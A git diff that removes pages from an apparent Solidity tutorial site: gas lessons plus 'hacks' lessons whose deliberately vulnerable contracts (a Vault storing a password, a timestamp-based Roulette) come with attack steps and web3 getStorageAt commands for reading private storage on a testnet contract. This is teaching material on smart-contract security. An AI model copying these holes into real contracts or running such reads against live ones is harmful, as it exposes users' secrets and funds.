` - -export default html diff --git a/src/pages/gas-golf/index.md b/src/pages/gas-golf/index.md deleted file mode 100644 index 4749c6523..000000000 --- a/src/pages/gas-golf/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Gas Saving Techniques -version: 0.8.20 -description: Some gas saving techniques -keywords: [gas, golf] ---- - -Some gas saving techniques. - -- Replacing `memory` with `calldata` -- Loading state variable to memory -- Replace for loop `i++` with `++i` -- Caching array elements -- Short circuit - -```solidity -{{{GasGolf}}} -``` diff --git a/src/pages/gas-golf/index.tsx b/src/pages/gas-golf/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/gas-golf/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/gas/Gas.sol b/src/pages/gas/Gas.sol deleted file mode 100644 index ff6cf312b..000000000 --- a/src/pages/gas/Gas.sol +++ /dev/null @@ -1,17 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Gas { - uint public i = 0; - - // Using up all of the gas that you send causes your transaction to fail. - // State changes are undone. - // Gas spent are not refunded. - function forever() public { - // Here we run a loop until all of the gas are spent - // and the transaction fails - while (true) { - i += 1; - } - } -} diff --git a/src/pages/gas/index.html.ts b/src/pages/gas/index.html.ts deleted file mode 100644 index 47abb74e0..000000000 --- a/src/pages/gas/index.html.ts +++ /dev/null @@ -1,49 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Gas" -export const description = "Example of gas and gas limit in Solidity" - -export const keywords = ["gas"] - -export const codes = [ - { - fileName: "Gas.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEdhcyB7CiAgICB1aW50IHB1YmxpYyBpID0gMDsKCiAgICAvLyBVc2luZyB1cCBhbGwgb2YgdGhlIGdhcyB0aGF0IHlvdSBzZW5kIGNhdXNlcyB5b3VyIHRyYW5zYWN0aW9uIHRvIGZhaWwuCiAgICAvLyBTdGF0ZSBjaGFuZ2VzIGFyZSB1bmRvbmUuCiAgICAvLyBHYXMgc3BlbnQgYXJlIG5vdCByZWZ1bmRlZC4KICAgIGZ1bmN0aW9uIGZvcmV2ZXIoKSBwdWJsaWMgewogICAgICAgIC8vIEhlcmUgd2UgcnVuIGEgbG9vcCB1bnRpbCBhbGwgb2YgdGhlIGdhcyBhcmUgc3BlbnQKICAgICAgICAvLyBhbmQgdGhlIHRyYW5zYWN0aW9uIGZhaWxzCiAgICAgICAgd2hpbGUgKHRydWUpIHsKICAgICAgICAgICAgaSArPSAxOwogICAgICAgIH0KICAgIH0KfQo=", - }, -] - -const html = `

How much ether do you need to pay for a transaction?

-

You pay gas spent * gas price amount of ether, where

-
    -
  • gas is a unit of computation
  • -
  • gas spent is the total amount of gas used in a transaction
  • -
  • gas price is how much ether you are willing to pay per gas
  • -
-

Transactions with higher gas price have higher priority to be included in a block.

-

Unspent gas will be refunded.

-

Gas Limit

-

There are 2 upper bounds to the amount of gas you can spend

-
    -
  • gas limit (max amount of gas you're willing to use for your transaction, set by you)
  • -
  • block gas limit (max amount of gas allowed in a block, set by the network)
  • -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Gas {
-    uint public i = 0;
-
-    // Using up all of the gas that you send causes your transaction to fail.
-    // State changes are undone.
-    // Gas spent are not refunded.
-    function forever() public {
-        // Here we run a loop until all of the gas are spent
-        // and the transaction fails
-        while (true) {
-            i += 1;
-        }
-    }
-}
-
` - -export default html diff --git a/src/pages/gas/index.md b/src/pages/gas/index.md deleted file mode 100644 index e44a48f15..000000000 --- a/src/pages/gas/index.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Gas -version: 0.8.20 -description: Example of gas and gas limit in Solidity -keywords: [gas] ---- - -### How much `ether` do you need to pay for a transaction? - -You pay `gas spent * gas price` amount of `ether`, where - -- `gas` is a unit of computation -- `gas spent` is the total amount of `gas` used in a transaction -- `gas price` is how much `ether` you are willing to pay per `gas` - -Transactions with higher gas price have higher priority to be included in a block. - -Unspent gas will be refunded. - -### Gas Limit - -There are 2 upper bounds to the amount of gas you can spend - -- `gas limit` (max amount of gas you're willing to use for your transaction, set by you) -- `block gas limit` (max amount of gas allowed in a block, set by the network) - -```solidity -{{{Gas}}} -``` diff --git a/src/pages/gas/index.tsx b/src/pages/gas/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/gas/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/accessing-private-data/Vault.sol b/src/pages/hacks/accessing-private-data/Vault.sol deleted file mode 100644 index 46854ccc4..000000000 --- a/src/pages/hacks/accessing-private-data/Vault.sol +++ /dev/null @@ -1,106 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -Note: cannot use web3 on JVM, so use the contract deployed on Goerli -Note: browser Web3 is old so use Web3 from truffle console - -Contract deployed on Goerli -0x534E4Ce0ffF779513793cfd70308AF195827BD31 -*/ - -/* -# Storage -- 2 ** 256 slots -- 32 bytes for each slot -- data is stored sequentially in the order of declaration -- storage is optimized to save space. If neighboring variables fit in a single - 32 bytes, then they are packed into the same slot, starting from the right -*/ - -contract Vault { - // slot 0 - uint public count = 123; - // slot 1 - address public owner = msg.sender; - bool public isTrue = true; - uint16 public u16 = 31; - // slot 2 - bytes32 private password; - - // constants do not use storage - uint public constant someConst = 123; - - // slot 3, 4, 5 (one for each array element) - bytes32[3] public data; - - struct User { - uint id; - bytes32 password; - } - - // slot 6 - length of array - // starting from slot hash(6) - array elements - // slot where array element is stored = keccak256(slot)) + (index * elementSize) - // where slot = 6 and elementSize = 2 (1 (uint) + 1 (bytes32)) - User[] private users; - - // slot 7 - empty - // entries are stored at hash(key, slot) - // where slot = 7, key = map key - mapping(uint => User) private idToUser; - - constructor(bytes32 _password) { - password = _password; - } - - function addUser(bytes32 _password) public { - User memory user = User({id: users.length, password: _password}); - - users.push(user); - idToUser[user.id] = user; - } - - function getArrayLocation( - uint slot, - uint index, - uint elementSize - ) public pure returns (uint) { - return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize); - } - - function getMapLocation(uint slot, uint key) public pure returns (uint) { - return uint(keccak256(abi.encodePacked(key, slot))); - } -} - -/* -slot 0 - count -web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 0, console.log) -slot 1 - u16, isTrue, owner -web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 1, console.log) -slot 2 - password -web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 2, console.log) - -slot 6 - array length -getArrayLocation(6, 0, 2) -web3.utils.numberToHex("111414077815863400510004064629973595961579173665589224203503662149373724986687") -Note: We can also use web3 to get data location -web3.utils.soliditySha3({ type: "uint", value: 6 }) -1st user -web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f", console.log) -web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40", console.log) -Note: use web3.toAscii to convert bytes32 to alphabet -2nd user -web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d41", console.log) -web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d42", console.log) - -slot 7 - empty -getMapLocation(7, 1) -web3.utils.numberToHex("81222191986226809103279119994707868322855741819905904417953092666699096963112") -Note: We can also use web3 to get data location -web3.utils.soliditySha3({ type: "uint", value: 1 }, {type: "uint", value: 7}) -user 1 -web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b828", console.log) -web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b829", console.log) -*/ diff --git a/src/pages/hacks/accessing-private-data/index.html.ts b/src/pages/hacks/accessing-private-data/index.html.ts deleted file mode 100644 index 797bf67d8..000000000 --- a/src/pages/hacks/accessing-private-data/index.html.ts +++ /dev/null @@ -1,139 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Accessing Private Data" -export const description = - "An example of accessing private data from a Solidity smart contract" - -export const keywords = [ - "hack", - "security", - "access", - "accessing", - "private", - "data", - "storage", -] - -export const codes = [ - { - fileName: "Vault.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCk5vdGU6IGNhbm5vdCB1c2Ugd2ViMyBvbiBKVk0sIHNvIHVzZSB0aGUgY29udHJhY3QgZGVwbG95ZWQgb24gR29lcmxpCk5vdGU6IGJyb3dzZXIgV2ViMyBpcyBvbGQgc28gdXNlIFdlYjMgZnJvbSB0cnVmZmxlIGNvbnNvbGUKCkNvbnRyYWN0IGRlcGxveWVkIG9uIEdvZXJsaQoweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEKKi8KCi8qCiMgU3RvcmFnZQotIDIgKiogMjU2IHNsb3RzCi0gMzIgYnl0ZXMgZm9yIGVhY2ggc2xvdAotIGRhdGEgaXMgc3RvcmVkIHNlcXVlbnRpYWxseSBpbiB0aGUgb3JkZXIgb2YgZGVjbGFyYXRpb24KLSBzdG9yYWdlIGlzIG9wdGltaXplZCB0byBzYXZlIHNwYWNlLiBJZiBuZWlnaGJvcmluZyB2YXJpYWJsZXMgZml0IGluIGEgc2luZ2xlCiAgMzIgYnl0ZXMsIHRoZW4gdGhleSBhcmUgcGFja2VkIGludG8gdGhlIHNhbWUgc2xvdCwgc3RhcnRpbmcgZnJvbSB0aGUgcmlnaHQKKi8KCmNvbnRyYWN0IFZhdWx0IHsKICAgIC8vIHNsb3QgMAogICAgdWludCBwdWJsaWMgY291bnQgPSAxMjM7CiAgICAvLyBzbG90IDEKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIGJvb2wgcHVibGljIGlzVHJ1ZSA9IHRydWU7CiAgICB1aW50MTYgcHVibGljIHUxNiA9IDMxOwogICAgLy8gc2xvdCAyCiAgICBieXRlczMyIHByaXZhdGUgcGFzc3dvcmQ7CgogICAgLy8gY29uc3RhbnRzIGRvIG5vdCB1c2Ugc3RvcmFnZQogICAgdWludCBwdWJsaWMgY29uc3RhbnQgc29tZUNvbnN0ID0gMTIzOwoKICAgIC8vIHNsb3QgMywgNCwgNSAob25lIGZvciBlYWNoIGFycmF5IGVsZW1lbnQpCiAgICBieXRlczMyWzNdIHB1YmxpYyBkYXRhOwoKICAgIHN0cnVjdCBVc2VyIHsKICAgICAgICB1aW50IGlkOwogICAgICAgIGJ5dGVzMzIgcGFzc3dvcmQ7CiAgICB9CgogICAgLy8gc2xvdCA2IC0gbGVuZ3RoIG9mIGFycmF5CiAgICAvLyBzdGFydGluZyBmcm9tIHNsb3QgaGFzaCg2KSAtIGFycmF5IGVsZW1lbnRzCiAgICAvLyBzbG90IHdoZXJlIGFycmF5IGVsZW1lbnQgaXMgc3RvcmVkID0ga2VjY2FrMjU2KHNsb3QpKSArIChpbmRleCAqIGVsZW1lbnRTaXplKQogICAgLy8gd2hlcmUgc2xvdCA9IDYgYW5kIGVsZW1lbnRTaXplID0gMiAoMSAodWludCkgKyAgMSAoYnl0ZXMzMikpCiAgICBVc2VyW10gcHJpdmF0ZSB1c2VyczsKCiAgICAvLyBzbG90IDcgLSBlbXB0eQogICAgLy8gZW50cmllcyBhcmUgc3RvcmVkIGF0IGhhc2goa2V5LCBzbG90KQogICAgLy8gd2hlcmUgc2xvdCA9IDcsIGtleSA9IG1hcCBrZXkKICAgIG1hcHBpbmcodWludCA9PiBVc2VyKSBwcml2YXRlIGlkVG9Vc2VyOwoKICAgIGNvbnN0cnVjdG9yKGJ5dGVzMzIgX3Bhc3N3b3JkKSB7CiAgICAgICAgcGFzc3dvcmQgPSBfcGFzc3dvcmQ7CiAgICB9CgogICAgZnVuY3Rpb24gYWRkVXNlcihieXRlczMyIF9wYXNzd29yZCkgcHVibGljIHsKICAgICAgICBVc2VyIG1lbW9yeSB1c2VyID0gVXNlcih7aWQ6IHVzZXJzLmxlbmd0aCwgcGFzc3dvcmQ6IF9wYXNzd29yZH0pOwoKICAgICAgICB1c2Vycy5wdXNoKHVzZXIpOwogICAgICAgIGlkVG9Vc2VyW3VzZXIuaWRdID0gdXNlcjsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBcnJheUxvY2F0aW9uKAogICAgICAgIHVpbnQgc2xvdCwKICAgICAgICB1aW50IGluZGV4LAogICAgICAgIHVpbnQgZWxlbWVudFNpemUKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiB1aW50KGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHNsb3QpKSkgKyAoaW5kZXggKiBlbGVtZW50U2l6ZSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TWFwTG9jYXRpb24odWludCBzbG90LCB1aW50IGtleSkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiB1aW50KGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGtleSwgc2xvdCkpKTsKICAgIH0KfQoKLyoKc2xvdCAwIC0gY291bnQKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAwLCBjb25zb2xlLmxvZykKc2xvdCAxIC0gdTE2LCBpc1RydWUsIG93bmVyCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgMSwgY29uc29sZS5sb2cpCnNsb3QgMiAtIHBhc3N3b3JkCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgMiwgY29uc29sZS5sb2cpCgpzbG90IDYgLSBhcnJheSBsZW5ndGgKZ2V0QXJyYXlMb2NhdGlvbig2LCAwLCAyKQp3ZWIzLnV0aWxzLm51bWJlclRvSGV4KCIxMTE0MTQwNzc4MTU4NjM0MDA1MTAwMDQwNjQ2Mjk5NzM1OTU5NjE1NzkxNzM2NjU1ODkyMjQyMDM1MDM2NjIxNDkzNzM3MjQ5ODY2ODciKQpOb3RlOiBXZSBjYW4gYWxzbyB1c2Ugd2ViMyB0byBnZXQgZGF0YSBsb2NhdGlvbgp3ZWIzLnV0aWxzLnNvbGlkaXR5U2hhMyh7IHR5cGU6ICJ1aW50IiwgdmFsdWU6IDYgfSkKMXN0IHVzZXIKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAiMHhmNjUyMjIyMzEzZTI4NDU5NTI4ZDkyMGI2NTExNWMxNmMwNGYzZWZjODJhYWVkYzk3YmU1OWYzZjM3N2MwZDNmIiwgY29uc29sZS5sb2cpCndlYjMuZXRoLmdldFN0b3JhZ2VBdCgiMHg1MzRFNENlMGZmRjc3OTUxMzc5M2NmZDcwMzA4QUYxOTU4MjdCRDMxIiwgIjB4ZjY1MjIyMjMxM2UyODQ1OTUyOGQ5MjBiNjUxMTVjMTZjMDRmM2VmYzgyYWFlZGM5N2JlNTlmM2YzNzdjMGQ0MCIsIGNvbnNvbGUubG9nKQpOb3RlOiB1c2Ugd2ViMy50b0FzY2lpIHRvIGNvbnZlcnQgYnl0ZXMzMiB0byBhbHBoYWJldAoybmQgdXNlcgp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGY2NTIyMjIzMTNlMjg0NTk1MjhkOTIwYjY1MTE1YzE2YzA0ZjNlZmM4MmFhZWRjOTdiZTU5ZjNmMzc3YzBkNDEiLCBjb25zb2xlLmxvZykKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAiMHhmNjUyMjIyMzEzZTI4NDU5NTI4ZDkyMGI2NTExNWMxNmMwNGYzZWZjODJhYWVkYzk3YmU1OWYzZjM3N2MwZDQyIiwgY29uc29sZS5sb2cpCgpzbG90IDcgLSBlbXB0eQpnZXRNYXBMb2NhdGlvbig3LCAxKQp3ZWIzLnV0aWxzLm51bWJlclRvSGV4KCI4MTIyMjE5MTk4NjIyNjgwOTEwMzI3OTExOTk5NDcwNzg2ODMyMjg1NTc0MTgxOTkwNTkwNDQxNzk1MzA5MjY2NjY5OTA5Njk2MzExMiIpCk5vdGU6IFdlIGNhbiBhbHNvIHVzZSB3ZWIzIHRvIGdldCBkYXRhIGxvY2F0aW9uCndlYjMudXRpbHMuc29saWRpdHlTaGEzKHsgdHlwZTogInVpbnQiLCB2YWx1ZTogMSB9LCB7dHlwZTogInVpbnQiLCB2YWx1ZTogN30pCnVzZXIgMQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGIzOTIyMWFjZTA1MzQ2NWVjMzQ1M2NlMmIzNjQzMGJkMTM4Yjk5N2VjZWEyNWMxMDQzZGEwYzM2NjgxMmI4MjgiLCBjb25zb2xlLmxvZykKd2ViMy5ldGguZ2V0U3RvcmFnZUF0KCIweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEiLCAiMHhiMzkyMjFhY2UwNTM0NjVlYzM0NTNjZTJiMzY0MzBiZDEzOGI5OTdlY2VhMjVjMTA0M2RhMGMzNjY4MTJiODI5IiwgY29uc29sZS5sb2cpCiovCg==", - }, -] - -const html = `

Vulnerability

-

All data on a smart contract can be read.

-

Let's see how we can read private data. In the process you will learn how Solidity stores state variables.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-/*
-Note: cannot use web3 on JVM, so use the contract deployed on Goerli
-Note: browser Web3 is old so use Web3 from truffle console
-
-Contract deployed on Goerli
-0x534E4Ce0ffF779513793cfd70308AF195827BD31
-*/
-
-/*
-# Storage
-- 2 ** 256 slots
-- 32 bytes for each slot
-- data is stored sequentially in the order of declaration
-- storage is optimized to save space. If neighboring variables fit in a single
-  32 bytes, then they are packed into the same slot, starting from the right
-*/
-
-contract Vault {
-    // slot 0
-    uint public count = 123;
-    // slot 1
-    address public owner = msg.sender;
-    bool public isTrue = true;
-    uint16 public u16 = 31;
-    // slot 2
-    bytes32 private password;
-
-    // constants do not use storage
-    uint public constant someConst = 123;
-
-    // slot 3, 4, 5 (one for each array element)
-    bytes32[3] public data;
-
-    struct User {
-        uint id;
-        bytes32 password;
-    }
-
-    // slot 6 - length of array
-    // starting from slot hash(6) - array elements
-    // slot where array element is stored = keccak256(slot)) + (index * elementSize)
-    // where slot = 6 and elementSize = 2 (1 (uint) +  1 (bytes32))
-    User[] private users;
-
-    // slot 7 - empty
-    // entries are stored at hash(key, slot)
-    // where slot = 7, key = map key
-    mapping(uint => User) private idToUser;
-
-    constructor(bytes32 _password) {
-        password = _password;
-    }
-
-    function addUser(bytes32 _password) public {
-        User memory user = User({id: users.length, password: _password});
-
-        users.push(user);
-        idToUser[user.id] = user;
-    }
-
-    function getArrayLocation(
-        uint slot,
-        uint index,
-        uint elementSize
-    ) public pure returns (uint) {
-        return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);
-    }
-
-    function getMapLocation(uint slot, uint key) public pure returns (uint) {
-        return uint(keccak256(abi.encodePacked(key, slot)));
-    }
-}
-
-/*
-slot 0 - count
-web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 0, console.log)
-slot 1 - u16, isTrue, owner
-web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 1, console.log)
-slot 2 - password
-web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 2, console.log)
-
-slot 6 - array length
-getArrayLocation(6, 0, 2)
-web3.utils.numberToHex("111414077815863400510004064629973595961579173665589224203503662149373724986687")
-Note: We can also use web3 to get data location
-web3.utils.soliditySha3({ type: "uint", value: 6 })
-1st user
-web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f", console.log)
-web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40", console.log)
-Note: use web3.toAscii to convert bytes32 to alphabet
-2nd user
-web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d41", console.log)
-web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d42", console.log)
-
-slot 7 - empty
-getMapLocation(7, 1)
-web3.utils.numberToHex("81222191986226809103279119994707868322855741819905904417953092666699096963112")
-Note: We can also use web3 to get data location
-web3.utils.soliditySha3({ type: "uint", value: 1 }, {type: "uint", value: 7})
-user 1
-web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b828", console.log)
-web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b829", console.log)
-*/
-

Preventative Techniques

-
    -
  • Don't store sensitive information on the blockchain.
  • -
-` - -export default html diff --git a/src/pages/hacks/accessing-private-data/index.md b/src/pages/hacks/accessing-private-data/index.md deleted file mode 100644 index 1f00245b6..000000000 --- a/src/pages/hacks/accessing-private-data/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Accessing Private Data -version: 0.8.20 -description: An example of accessing private data from a Solidity smart contract -keywords: [hack, security, access, accessing, private, data, storage] ---- - -### Vulnerability - -All data on a smart contract can be read. - -Let's see how we can read `private` data. In the process you will learn how Solidity stores state variables. - -```solidity -{{{Vault}}} -``` - -### Preventative Techniques - -- Don't store sensitive information on the blockchain. diff --git a/src/pages/hacks/accessing-private-data/index.tsx b/src/pages/hacks/accessing-private-data/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/accessing-private-data/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/block-timestamp-manipulation/BlockTimestamp.sol b/src/pages/hacks/block-timestamp-manipulation/BlockTimestamp.sol deleted file mode 100644 index cd734c38b..000000000 --- a/src/pages/hacks/block-timestamp-manipulation/BlockTimestamp.sol +++ /dev/null @@ -1,35 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -Roulette is a game where you can win all of the Ether in the contract -if you can submit a transaction at a specific timing. -A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0. -*/ - -/* -1. Deploy Roulette with 10 Ether -2. Eve runs a powerful miner that can manipulate the block timestamp. -3. Eve sets the block.timestamp to a number in the future that is divisible by - 15 and finds the target block hash. -4. Eve's block is successfully included into the chain, Eve wins the - Roulette game. -*/ - -contract Roulette { - uint public pastBlockTime; - - constructor() payable {} - - function spin() external payable { - require(msg.value == 10 ether); // must send 10 ether to play - require(block.timestamp != pastBlockTime); // only 1 transaction per block - - pastBlockTime = block.timestamp; - - if (block.timestamp % 15 == 0) { - (bool sent, ) = msg.sender.call{value: address(this).balance}(""); - require(sent, "Failed to send Ether"); - } - } -} diff --git a/src/pages/hacks/block-timestamp-manipulation/index.html.ts b/src/pages/hacks/block-timestamp-manipulation/index.html.ts deleted file mode 100644 index ba61fdedd..000000000 --- a/src/pages/hacks/block-timestamp-manipulation/index.html.ts +++ /dev/null @@ -1,63 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Block Timestamp Manipulation" -export const description = - "An example of a Solidity contract vulnerable to block timestamp manipulation" - -export const keywords = ["hack", "security", "block", "timestamp", "manipulation"] - -export const codes = [ - { - fileName: "BlockTimestamp.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qClJvdWxldHRlIGlzIGEgZ2FtZSB3aGVyZSB5b3UgY2FuIHdpbiBhbGwgb2YgdGhlIEV0aGVyIGluIHRoZSBjb250cmFjdAppZiB5b3UgY2FuIHN1Ym1pdCBhIHRyYW5zYWN0aW9uIGF0IGEgc3BlY2lmaWMgdGltaW5nLgpBIHBsYXllciBuZWVkcyB0byBzZW5kIDEwIEV0aGVyIGFuZCB3aW5zIGlmIHRoZSBibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwLgoqLwoKLyoKMS4gRGVwbG95IFJvdWxldHRlIHdpdGggMTAgRXRoZXIKMi4gRXZlIHJ1bnMgYSBwb3dlcmZ1bCBtaW5lciB0aGF0IGNhbiBtYW5pcHVsYXRlIHRoZSBibG9jayB0aW1lc3RhbXAuCjMuIEV2ZSBzZXRzIHRoZSBibG9jay50aW1lc3RhbXAgdG8gYSBudW1iZXIgaW4gdGhlIGZ1dHVyZSB0aGF0IGlzIGRpdmlzaWJsZSBieQogICAxNSBhbmQgZmluZHMgdGhlIHRhcmdldCBibG9jayBoYXNoLgo0LiBFdmUncyBibG9jayBpcyBzdWNjZXNzZnVsbHkgaW5jbHVkZWQgaW50byB0aGUgY2hhaW4sIEV2ZSB3aW5zIHRoZQogICBSb3VsZXR0ZSBnYW1lLgoqLwoKY29udHJhY3QgUm91bGV0dGUgewogICAgdWludCBwdWJsaWMgcGFzdEJsb2NrVGltZTsKCiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBzcGluKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPT0gMTAgZXRoZXIpOyAvLyBtdXN0IHNlbmQgMTAgZXRoZXIgdG8gcGxheQogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wICE9IHBhc3RCbG9ja1RpbWUpOyAvLyBvbmx5IDEgdHJhbnNhY3Rpb24gcGVyIGJsb2NrCgogICAgICAgIHBhc3RCbG9ja1RpbWUgPSBibG9jay50aW1lc3RhbXA7CgogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwKSB7CiAgICAgICAgICAgIChib29sIHNlbnQsICkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IGFkZHJlc3ModGhpcykuYmFsYW5jZX0oIiIpOwogICAgICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgICAgIH0KICAgIH0KfQo=", - }, -] - -const html = `

Vulnerability

-

block.timestamp can be manipulated by miners with the following constraints

-
    -
  • it cannot be stamped with an earlier time than its parent
  • -
  • it cannot be too far in the future
  • -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-/*
-Roulette is a game where you can win all of the Ether in the contract
-if you can submit a transaction at a specific timing.
-A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.
-*/
-
-/*
-1. Deploy Roulette with 10 Ether
-2. Eve runs a powerful miner that can manipulate the block timestamp.
-3. Eve sets the block.timestamp to a number in the future that is divisible by
-   15 and finds the target block hash.
-4. Eve's block is successfully included into the chain, Eve wins the
-   Roulette game.
-*/
-
-contract Roulette {
-    uint public pastBlockTime;
-
-    constructor() payable {}
-
-    function spin() external payable {
-        require(msg.value == 10 ether); // must send 10 ether to play
-        require(block.timestamp != pastBlockTime); // only 1 transaction per block
-
-        pastBlockTime = block.timestamp;
-
-        if (block.timestamp % 15 == 0) {
-            (bool sent, ) = msg.sender.call{value: address(this).balance}("");
-            require(sent, "Failed to send Ether");
-        }
-    }
-}
-

Preventative Techniques

-
    -
  • Don't use block.timestamp for a source of entropy and random number
  • -
